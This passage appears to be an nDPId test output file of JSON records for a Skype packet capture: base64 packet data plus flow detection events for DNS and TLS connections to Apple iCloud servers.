0rBIYuBTTvQ9E5EPd6+YAf9EL8JuslDsUFa8Kh3WmoEpHHLYKj1yq7Vu72uVS7zU1vm9EOcMvuBqjjDzylA1a6LuL6dYfi\/ZgWE3WaYG3p1U5\/9LG1AX1aT4Tub0r2sN6dpcUYdqx2347kZIbOz16oqL9jOfDPcqxBEpV6FjAVVilWneCjhZWBLCoZjWlAezIQg7B6TwaF+on1+f\/2t5VWQ0RrgpdLm+s9+Q\/m3QUYPpNHRocUL0GTXQL5BCLkgN5e4YBLJxBGRgSfsgqP09AaF1ZzBnFPQBkT3rGeJtP+2FWN0AlhKyAV7hAO0zHpcUtozYRzNmX3l6I5zC01NtXOZHWoktL7sftGkozQ5brwVWq6k95DxKly+DbVpKQlj\/3TSS6rhsEFGYW9QzvS\/Bw6C8ROzQAZEVqbBl2FVQ2iGW9xLYyzLYsdUugJn7aZjAPhZJfiwTr5oWvy+SidC3WV9GK13NgV48CX8Uors7ADGEITQN31BLQPGlhOVZx3othftpZnahj6CClBNDNTO+9JjizCJ9ggyiekXE9xnB2iLBrdeb0XVzydQO4qQ9CuPBXXMXeZj0zgDEqYDAP0q9SrqRylbDHgKGptLQ6SaKuHNxQS6kZKLc89drPwCZfemjFjLWAfssDa+42E\/U8IY3TRAhnC50qLDyLqiueGt9v2UgzFpeuRwBI4rYJfY+cUjGyLtnNJmc3KAr7wqnevXknJ4kP84xaDELrSQ4cV"} +01472{"flow_id":254,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2090,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":444073,"pkt_caplen":843,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":843,"pkt_l4_len":809,"pkt":"0NQSxnP1PBXCt3IOCABFAAM9r4lAAEAGBZLAqAEiBfi63cPGeSKEqulLQ+IEgYAYECgmawAAAQEICj4jspkAAG7DS4c367CM10G1BL+W4E5jxSk0rkXQQO0JwkeTJ3CcazcSCkhIxGzpMlMoVFQE+5VK87iu6tyV4dXx5r1tFsOqag6TpffpieQrBn+OkiLAvCqooRMzVp52Cap\/saxvkfwzRMV07QBUcctzfZXIFcdBvNgxiWVVdJ2s2Lg0l4mQ2y5+8+MAAFLHgdr8RGmQz19T3VVGJmoGhlWdk7JTfzbJzAwCrVZJSBf0KhsAyn3A02oExiYPmZn\/AdXsd2OOYpEkafkBjXVpB3UDonVIzNCDxvMdCAgIxw53lP7Q1iAGgZsyQxC5Z1729nEXIj0izkTndXTzWzyZ5Nk2C4oPoV6icAZBEw9xMd51ILJytkONZlNl03ExUb7KjO\/QfTk9cx9ZswKgVmXK15wOjObIFlw\/rdb2kELiICZUrmpGdVYqwBy52VWx6WQ5k8WkvaELy49RQHYjysmFjVNBvJuINspQl5HqM9vGILLTGSk3mga3szveuJtJwOPnij62AASSzxYmYf71S1QLWSc4RWkxkgBqPRlWYHY6IbT7NtCLdJlZ5Jg7w5zpiz4dSVvYlIrZKLg6IFJvTIri0gBVtGuk05qzs4+SIhtHyi4Nwhkt1TcvWDR0qU9PDfL2bm5hHC7PaQR\/owPwNVvCYXU21lmzEloU+y3dKHzr32+d2wFxxFs+MzBo4Qo9jN0q2JUq\/70at6n5cf5n0PDGJSesNFNKuWSoeQXCxRTQIFjCGk5QFI1KBScDu2VX7zY9NGum4b8Onke4nrqQcsDZhfbJtd3SSHuO9WaEksuXYb+lDBxJ7eT7cA0V5SaG1LJE3uxd5YinkvdE+I0aZiqQ2woCZ1P+qO6YloMY7HOWYrVjTdFmB5elGT2ZjxtLxNC1SAo7SUzW6cWTkTZQevLGRfqms6umB0NbhlN6mWUyb4qjGA33Fong9aO25uQpP5kIzGzIET08KuTfzfSjVamdwRCXwiCmkKKXWqKt+W9RsPPjnHkbvDnoPYZ+LLrF+ng8xVL\/W54bx2eLKq0WXcWAqQjQ"} +00426{"flow_id":248,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2091,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":444177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0qwlAAEAG4ELAqAEiTKehBsPATzJsmy9E7NUaAIAREChysQAAAQEICj4jspm+oN9k"} +00524{"flow_id":267,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2092,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":487937,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"PBXCt3IO0NQSxnP1CABFAAB3oSVAAHQGJQpQDi55wKgBIhE\/w88Zt5ePww7I4YAY\/9UY1gAAAQEICgADVaE+I7JhrkmMD8qYuloTzBTcnsqm7zjR0\/y6G1IIgjxM6tDjLe+miNcz2IkFQ9pZFBOt74taVL\/n7aOT\/+k32QPU7oJGRdOJCQ=="} +00426{"flow_id":267,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2093,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":488062,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0XpVAAEAGm93AqAEiUA4uecPPET\/DDsjhGbeX0oAQECnNLQAAAQEICj4jssQAA1Wh"} +00426{"flow_id":262,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2094,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":488275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bFZAAEAGjhzAqAEiUA4uecPLET9q+leTFCuFJYARECmu1wAAAQEICj4jssQAA1WW"} +00447{"flow_id":267,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2095,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":488449,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"0NQSxnP1PBXCt3IOCABFAABCi8ZAAEAGbp7AqAEiUA4uecPPET\/DDsjhGbeX0oAYEClU8gAAAQEICj4jssQAA1WhkIezl\/XhRCocc8wlEWE="} +00438{"flow_id":222,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2096,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":501893,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jTtAAEAGy+PAqAEinTeCm8OsnFQhlXBwFdEIa4AZECkOWgAAAQEICj4jstFOs6ExgUZfklcFTZE="} +00452{"flow_id":267,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2097,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":583990,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"PBXCt3IO0NQSxnP1CABFAABGoSdAAHQGJTlQDi55wKgBIhE\/w88Zt5fSww7I74AY\/8cUkgAAAQEICgADVaI+I7LECd00p68v5qpIaiJrYmL\/RCf4"} +00426{"flow_id":267,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2098,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":584093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OC9AAEAGwkPAqAEiUA4uecPPET\/DDsjvGbeX5IAQECnMrQAAAQEICj4jsyMAA1Wi"} +00482{"flow_id":267,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2100,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":584256,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"0NQSxnP1PBXCt3IOCABFAABZswlAAEAGR0TAqAEiUA4uecPPET\/DDsjvGbeX5IAYECkxhgAAAQEICj4jsyMAA1WicbBvlPTAJKeJpcIvJlkmi5AmvI8rhb\/dMWlrowmWiQfE0pf9Qw=="} +00428{"flow_id":253,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2107,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":776309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA09ftAAHMGAEVH7gfLwKgBIklPw8W6q5fkflO0FoAQ\/Kg\/AAAAAQEICgMco6g+I7KZ"} +00880{"flow_id":266,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2108,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":776328,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGARY5AAEAG\/knAqAEiW77YF8POMD6CImX9rdWNC4AYECj9VAAAAQEICj4js+ANJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00428{"flow_id":267,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2110,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":820386,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0oSpAAHQGJUhQDi55wKgBIhE\/w88Zt5fkww7JFIAQ\/6LdCwAAAQEICgADVaU+I7Mj"} +00417{"flow_id":239,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2112,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":838082,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuya0AAEARB4bAqAEisBo3pzLd+R0AGsL+nm0CcwIwd+MhD2imQikN7XJ0"} +00418{"flow_id":240,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2113,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":838082,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAupZYAAEAR95jAqAEiTLnPDDLdsbUAGqRNnm8CZa4cvOCl2walp\/2oMJDI"} +00426{"flow_id":254,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2114,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":860481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zh9AAHIGuAQF+LrdwKgBInkiw8ZD4gSBhKrsVIAQQNVdYQAAAQEICgAAbt4+I7KZ"} +00427{"flow_id":220,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2115,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":882029,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0R45AADkG\/vcXziGmwKgBIgG7w6oZSGV2Rgv0Z4ARAcX40wAAAQEICuwvcRg+I2bi"} +00427{"flow_id":220,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2116,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":882147,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MIVAAEAGDwHAqAEiF84hpsOqAbtGC\/UOGUhld4ARECycXgAAAQEICj4jtEjsL3EY"} +00418{"flow_id":220,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2118,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":921428,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoUvNAADkG854XziGmwKgBIgG7w6oZSGV3AAAAAFAEAABwfQAAAAAAAAAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2123,"source":"skype.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1431969719055,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":62454,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":268,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2123,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":55293,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXAXoAAEAR9ajAqAEiwKgBAfP2ADUAQxAUbrQBAAABAAAAAAAAE3AwNS1rZXl2YWx1ZXNlcnZpY2UGaWNsb3VkA2NvbQZha2FkbnMDbmV0AAABAAE="} +00668{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2123,"source":"skype.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1431969719055,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":62454,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p05-keyvalueservice.icloud.com.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00520{"flow_id":268,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2127,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":110031,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"PBXCt3IO0NQSxnP1CABFAAB3AABAAEARtwLAqAEBwKgBIgA18\/YAY7LlbrSBgAABAAIAAAAAE3AwNS1rZXl2YWx1ZXNlcnZpY2UGaWNsb3VkA2NvbQZha2FkbnMDbmV0AAABAAHADAABAAEAAAAZAAQRrGQkwAwAAQABAAAAGQAEEaxkCA=="} +00695{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2127,"source":"skype.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":2,"flow_first_seen":1431969719055,"flow_last_seen":1431969719110,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":67,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":62454,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"p05-keyvalueservice.icloud.com.akadns.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.172.100.36"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2128,"source":"skype.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":1,"flow_first_seen":1431969719110,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50128,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":269,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2128,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":110749,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAHqNAAEAG5HrAqAEiEaxkJMPQAbsLGQpgAAAAALAC\/\/8xEQAAAgQFtAEDAwUBAQgKPiO1KQAAAAAEAgAA"} +00418{"flow_id":269,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2138,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":259428,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"PBXCt3IO0NQSxnP1CABFAAAsDItAAPAGRqYRrGQkwKgBIgG7w9AFbnZwCxkKYWASH\/7prQAAAgQFoAAA"} +00411{"flow_id":269,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2139,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":259555,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAocytAAEAGkArAqAEiEaxkJMPQAbsLGQphBW52cVAQ\/\/8hVQAA"} +00730{"flow_id":269,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2140,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":260395,"pkt_caplen":287,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":287,"pkt_l4_len":253,"pkt":"0NQSxnP1PBXCt3IOCABFAAERGFtAAEAG6fHAqAEiEaxkJMPQAbsLGQphBW52cVAY\/\/\/qjAAAFgMBAOQBAADgAwNVWh+31WXSTHREMokhIqCcUnp9wljFgut1FAWv\/IRrRCC9J9K2RjJjHnC8CFVB8Gg9pkEtkLMETmSD4xz1bWuZVABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAABNAAAAIwAhAAAecDA1LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2140,"source":"skype.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":4,"flow_first_seen":1431969719110,"flow_last_seen":1431969719260,"flow_tot_l4_data_len":341,"flow_min_l4_data_len":20,"flow_max_l4_data_len":253,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50128,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p05-keyvalueservice.icloud.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00417{"flow_id":269,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2144,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411070,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoDIxAAPAGRqkRrGQkwKgBIgG7w9AFbnZxCxkLSlAQiZaW1QAAAAAAAAAA"} +00537{"flow_id":269,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2145,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411077,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACEDI5AAPAGRksRrGQkwKgBIgG7w9AFbnZxCxkLSlAYiZasDAAAFgMDAFECAABNAwNVWh+3tveMD2elbOWAHrVVg31Lnt0c0FKnZZJQCRlxxCC9J9K2RjJjHnC8CFVB8Gg9pkEtkLMETmSD4xz1bWuZVAAEAAAF\/wEAAQAUAwMAAQE="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2145,"source":"skype.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":6,"flow_first_seen":1431969719110,"flow_last_seen":1431969719411,"flow_tot_l4_data_len":473,"flow_min_l4_data_len":20,"flow_max_l4_data_len":253,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50128,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p05-keyvalueservice.icloud.com","ja3":"799135475da362592a4be9199d258726","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00462{"flow_id":269,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2146,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411126,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"PBXCt3IO0NQSxnP1CABFAABNDJBAAPAGRoARrGQkwKgBIgG7w9AFbnbNCxkLSlAYiZY9MAAAFgMDACCErnELMC4NLURXH1XOmma\/eoxmsTpmClh52QJbqp0ANg=="} +00412{"flow_id":269,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2147,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo51ZAAEAGG9\/AqAEiEaxkJMPQAbsLGQtKBW52zVAQ\/\/8gEAAA"} +00411{"flow_id":269,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2148,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411203,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoh2pAAEAGe8vAqAEiEaxkJMPQAbsLGQtKBW528lAQ\/\/8f6wAA"} +00420{"flow_id":269,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2149,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411434,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuFYpAAEAG7aXAqAEiEaxkJMPQAbsLGQtKBW528lAY\/\/8H2QAAFAMDAAEB"} +00465{"flow_id":269,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2150,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":411435,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNFhBAAEAG7QDAqAEiEaxkJMPQAbsLGQtQBW528lAY\/\/9ywgAAFgMDACAFGHg36o8q6\/6d45SMkkKJbYADHXopC+bXMrIdt+x2cA=="} +00880{"flow_id":266,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2154,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":423077,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGAmfhAAEAGqd\/AqAEiW77YF8POMD6CImX9rdWNC4AYECj62AAAAQEICj4jtlwNJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} 